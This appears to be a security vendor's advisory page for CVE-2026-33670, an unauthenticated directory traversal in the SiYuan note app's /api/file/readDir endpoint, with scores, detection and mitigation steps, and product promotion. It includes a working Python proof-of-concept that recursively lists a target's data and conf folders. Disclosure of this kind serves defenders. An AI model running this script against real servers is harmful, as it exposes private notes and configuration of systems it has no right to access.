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CRITICAL severity

CVE-2026-33670 kernel

CRITICAL

CVE-2026-33670 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. No vendor fix is recorded yet; mitigation options are listed below.

SiYuan has directory traversal within its publishing service

Also known asGHSA-xmw9-6r43-x9wwGO-2026-4843
Published
Mar 26, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33670.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-33670 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/siyuan-note/siyuan/kernel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys

def poc(target):
    base = target.rstrip("/")
    url = f"{base}/api/file/readDir"

    def read_dir(path, depth=0, max_depth=4):
        try:
            r = requests.post(url, json={"path":path},
                            headers={"Content-Type":"application/json"}, timeout=10)
            data = r.json()
        except Exception as e:
            return
        if data.get("code") != 0:
            return

        entries = data.get("data") or []
        for entry in entries:
            name = entry.get("name","")
            if name.startswith("."):
                continue
            icon = "📁" if entry.get("isDir") else "📄"
            indent = "  " * depth
            print(f"  {indent}{icon} {name}")

            if entry.get("isDir") and depth < max_depth:
                read_dir(f"{path}/{name}", depth+1, max_depth)

    # 遍历根目录
    print("[+] 漏洞存在!开始遍历\n")
    print("  📂 data/")
    read_dir("data", max_depth=2)

    print("\n  📂 conf/")
    read_dir("conf", max_depth=2)

    # 保存
    try:
        r = requests.post(url, json={"path":"data"},
                        headers={"Content-Type":"application/json"}, timeout=10)
        with open("readdir.json","w",encoding="utf-8") as f:
            json.dump(r.json(), f, ensure_ascii=False, indent=2)
        print(f"\n[+] 根目录数据已保存: readdir.json")
    except: pass

if __name__ == "__main__":
    poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")

Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />

插件文件夹

<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />

conf文件夹

<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/siyuan-note/siyuan/kernelall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/siyuan-note/siyuan/kernel has shipped for CVE-2026-33670 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33670 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-33670. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Details The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. ### PoC ```python #!/usr/bin/env python3 """POC: SiYuan /api/file/readDir 未鉴权目录遍历""" import requests, json, sys def poc(target): base = target.rstrip("/") url = f"{base}/api/file/readDir" def read_dir(path, depth=0, max_depth=4): try: r = requests.post(url, json={"path":path}, headers={"Content-Type":"application/json"}, timeout=10) data = r.json() except Exception as e: r
O3 Security · Impact-Aware SCA

Is CVE-2026-33670 in your dependencies?

O3 Security finds CVE-2026-33670 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-33670: kernel (Critical 9.8) | O3 Security